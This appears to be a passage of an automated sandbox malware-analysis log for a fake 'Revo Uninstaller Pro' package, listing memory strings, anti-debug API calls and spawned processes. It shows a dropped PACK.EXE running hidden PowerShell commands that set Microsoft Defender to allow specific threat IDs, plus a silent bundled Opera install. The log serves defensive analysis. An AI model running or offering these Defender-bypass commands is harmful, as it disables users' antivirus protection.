Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.1627620AE-7984-450E-988E-150E8A9ACAB26.3VMware InstallBuilder Professional 20.12.0VMware InstallBuilder Professional"C:\Program Files\VMware InstallBuilder Professional 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder Professional 20.12.0VMware InstallBuilder Professional"C:\Program Files (x86)\VMware InstallBuilder Professional 20.12.0\uninstall.exe"20.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Workstation PlayerVMware, Inc.14.0E0F86B18-CDF6-4CD1-BC30-47D14A43766F10.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.15499B796-E171-4F3F-8A83-4894659CCC4810.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {DA09FD63-5AE7-4bf6-8B86-0FCA4DEA8F8F}VMware vCenter Converter StandaloneMsiExec.exe /I{DA09FD63-5AE7-4bf6-8B86-0FCA4DEA8F8F}6.2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard2.1191E7D4A-4EB2-437E-9800-03CB58C0B8266.3QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"2.1
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware InstallBuilder ProfessionalVMware, Inc.20.1ADE47139-1A57-4F07-B628-BF198A9B846210.0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMUFabrice Bellard5.16CEB785C-9851-E072-BDA1-6F0F1796D2B86.3QEMUQEMU"C:\Program Files\qemu\qemu-uninstall.exe"5.1

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	API call chain: ExitProcess graph end node	graph_0-3986
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	API call chain: ExitProcess graph end node	graph_16-23543
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	API call chain: ExitProcess graph end node	graph_26-3638

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FEE4F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

16_2_00FEE4F5

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FF6AF3 mov eax, dword ptr fs:[00000030h]

16_2_00FF6AF3

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FFACA1 GetProcessHeap,

16_2_00FFACA1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEE4F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00FEE4F5
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEE643 SetUnhandledExceptionFilter,	16_2_00FEE643
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEE7FB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00FEE7FB
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FF7BE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00FF7BE1

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\System32\rundll32.exe RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll"	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Process created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe" /regserver /NOREDIRECT	Jump to behavior
Source: C:\Windows\System32\runonce.exe	Process created: C:\Windows\System32\grpconv.exe "C:\Windows\System32\grpconv.exe" -o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\PACK.EXE C:\Users\user\AppData\Local\Temp\PACK.EXE -p123
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe"
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe "C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyYmVlYWJmNDExZjE1ZDAzODp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ1dG1fbWVkaXVtPWFwYiZ1dG1fY2FtcGFpZ249cjEwIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzMzNzYzMjQyLjI2MjIiLCJ1c2VyYWdlbnQiOiJOU0lTX0luZXRjIChNb3ppbGxhKSIsInV0bSI6eyJjYW1wYWlnbiI6InIxMCIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6IkRXTkxTVCJ9LCJ1dWlkIjoiY2Q5ZjgxYzYtNzI5YS00ZDk1LWFjNzEtMWViYmE3NWJmYzdiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c

Source: C:\Users\user\Downloads\OperaSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe --silent --allusers=0 --server-tracking-blob=njaxodrkytk2nmvjnjfhzdrjzmfkogu5ndayogewywnlyzvizge5zjvkytg0ymuwmzjizdrjzwfjzgq4odm0njp7imnvdw50cnkioijvuyisimluc3rhbgxlcl9uyw1lijoit3blcmftzxr1cc5leguilcjwcm9kdwn0ijoib3blcmeilcjxdwvyesi6ii9vcgvyys9zdgfibguvd2luzg93cz91dg1fc291cmnlpurxtkxtvcz1dg1fbwvkaxvtpwfwyiz1dg1fy2ftcgfpz249cjewiiwidgltzxn0yw1wijoimtczmzc2mzi0mi4ynjiyiiwidxnlcmfnzw50ijoitlnju19jbmv0yyaotw96awxsyskilcj1dg0ionsiy2ftcgfpz24ioijymtailcjtzwrpdw0ioijhcgiilcjzb3vyy2uioijev05mu1qifswidxvpzci6imnkowy4mwm2ltcyowetngq5ns1hyzcxltflymjhnzvizmm3yij9
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe "c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="c:\users\user\appdata\local\programs\opera" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="c:\users\user\appdata\local\temp\.opera\opera installer temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ztezmze3m2u4odhkn2y3yme0odq3nmywnmnlnmjmmde4nmy4mzazymnmnwrmmwyyymvlywjmndexzje1zdazodp7imnvdw50cnkioijvuyisimluc3rhbgxlcl9uyw1lijoit3blcmftzxr1cc5leguilcjwcm9kdwn0ijp7im5hbwuioijvcgvyysj9lcjxdwvyesi6ii9vcgvyys9zdgfibguvd2luzg93cz91dg1fc291cmnlpurxtkxtvcz1dg1fbwvkaxvtpwfwyiz1dg1fy2ftcgfpz249cjewiiwic3lzdgvtijp7inbsyxrmb3jtijp7imfyy2gioij4odzfnjqilcjvchn5cyi6ildpbmrvd3milcjvchn5cy12zxjzaw9uijoimtailcjwywnrywdlijoirvhfin19lcj0aw1lc3rhbxaioiixnzmznzyzmjqylji2mjiilcj1c2vyywdlbnqioijou0ltx0luzxrjichnb3ppbgxhksisinv0bsi6eyjjyw1wywlnbii6inixmcisim1lzgl1bsi6imfwyiisinnvdxjjzsi6ikrxtkxtvcj9lcj1dwlkijoiy2q5zjgxyzytnzi5ys00zdk1lwfjnzetmwviyme3nwjmyzdiin0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c
Source: C:\Users\user\Downloads\OperaSetup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe --silent --allusers=0 --server-tracking-blob=njaxodrkytk2nmvjnjfhzdrjzmfkogu5ndayogewywnlyzvizge5zjvkytg0ymuwmzjizdrjzwfjzgq4odm0njp7imnvdw50cnkioijvuyisimluc3rhbgxlcl9uyw1lijoit3blcmftzxr1cc5leguilcjwcm9kdwn0ijoib3blcmeilcjxdwvyesi6ii9vcgvyys9zdgfibguvd2luzg93cz91dg1fc291cmnlpurxtkxtvcz1dg1fbwvkaxvtpwfwyiz1dg1fy2ftcgfpz249cjewiiwidgltzxn0yw1wijoimtczmzc2mzi0mi4ynjiyiiwidxnlcmfnzw50ijoitlnju19jbmv0yyaotw96awxsyskilcj1dg0ionsiy2ftcgfpz24ioijymtailcjtzwrpdw0ioijhcgiilcjzb3vyy2uioijev05mu1qifswidxvpzci6imnkowy4mwm2ltcyowetngq5ns1hyzcxltflymjhnzvizmm3yij9
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x6c2f7cf4,0x6c2f7d00,0x6c2f7d0c
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe "c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="c:\users\user\appdata\local\programs\opera" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=8040 --package-dir-prefix="c:\users\user\appdata\local\temp\.opera\opera installer temp\opera_package_20241209115409" --session-guid=57f4b7c1-1875-4c3d-aada-fe1e595f9b71 --server-tracking-blob="ztezmze3m2u4odhkn2y3yme0odq3nmywnmnlnmjmmde4nmy4mzazymnmnwrmmwyyymvlywjmndexzje1zdazodp7imnvdw50cnkioijvuyisimluc3rhbgxlcl9uyw1lijoit3blcmftzxr1cc5leguilcjwcm9kdwn0ijp7im5hbwuioijvcgvyysj9lcjxdwvyesi6ii9vcgvyys9zdgfibguvd2luzg93cz91dg1fc291cmnlpurxtkxtvcz1dg1fbwvkaxvtpwfwyiz1dg1fy2ftcgfpz249cjewiiwic3lzdgvtijp7inbsyxrmb3jtijp7imfyy2gioij4odzfnjqilcjvchn5cyi6ildpbmrvd3milcjvchn5cy12zxjzaw9uijoimtailcjwywnrywdlijoirvhfin19lcj0aw1lc3rhbxaioiixnzmznzyzmjqylji2mjiilcj1c2vyywdlbnqioijou0ltx0luzxrjichnb3ppbgxhksisinv0bsi6eyjjyw1wywlnbii6inixmcisim1lzgl1bsi6imfwyiisinnvdxjjzsi6ikrxtkxtvcj9lcj1dwlkijoiy2q5zjgxyzytnzi5ys00zdk1lwfjnzetmwviyme3nwjmyzdiin0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=1806000000000000
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe c:\users\user\appdata\local\temp\7zscae7b8aa\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktop --annotation=ver=115.0.5322.77 --initial-client-data=0x31c,0x320,0x330,0x2f8,0x334,0x6b717cf4,0x6b717d00,0x6b717d0c

Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.00000000033A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BSYSLISTVIEW32SHELLDLL_DefViewSysListView32Program ManagerProgman
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: TrayNotifyWndHunter TopHunter RightHunter LeftShell_TrayWndHunter Window AOTHunter Window SizeHunter ModeHunter Bottom\Microsoft\Internet Explorer\Quick LaunchStart HunterHunter TransparencySDSysPagerToolbarWindow32SHELLDLL_DefViewSysListView3275%50%25%ReBarWindow32 /tn "Revo Uninstaller Pro Hunter Mode" /create /XML " /hunter\Explorer.exe/Delete /TN "Revo Uninstaller Pro Hunter Mode" /F schtasks.exe6.1Windows 7,8,VistaWindows XPWindows XP,Vista,7,8Windows 86.25.1Windows 7Windows Vista6.0Windows 8.16.310.110.05.2 %D %sUDMFT%06d%sUDTMP%sEVREM%06d %S %M %H %Tc%02ld
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	Binary or memory string: Cannot get the size of file version infoNo file version in the package\StringFileInfo\000004B0\ProductVersionNo product version value in the packageReceived an invalid version: \StringFileInfo\000004B0\ContinuousVersionReceived an invalid continuous build number: Cannot acquire internal version from the full version: \StringFileInfo\000004B0\StreamNo stream value in the packageCannot get exe output: version..\..\opera\desktop\windows\installer\common\file_version_utils_impl.ccInvalid version from exe: Cannot get exe output: streamCannot get app output Failed to run the elevated process: Failed wait for the elevated process: Unexpected result when waiting for elevated process: Shortcut element - no correct interface...\..\opera\desktop\windows\installer\common\pin_automator.ccDoneCannot get native menu handle.Cannot get desktop rect.Cannot find pin menu element.No rectangleCould not activate the menu item.ProgmanSysListView324
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TrayNotifyWndHunter RightHunter TopShell_TrayWndHunter LeftHunter Window SizeHunter Window AOTHunter BottomHunter ModeStart Hunter\Microsoft\Internet Explorer\Quick LaunchSDHunter TransparencyToolbarWindow32SysPagerSysListView32SHELLDLL_DefView50%75%ReBarWindow3225%/create /XML /tn "Revo Uninstaller Pro Hunter Mode" \Explorer.exe" /hunterschtasks.exe/Delete /TN "Revo Uninstaller Pro Hunter Mode" /F
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000005140000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSLISTVIEW32SHELLDLL_DefViewSysListView32Program ManagerProgman`

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FEE34B cpuid

16_2_00FEE34B

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: GetLocaleInfoW,GetNumberFormatW,

16_2_00FE9D99

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
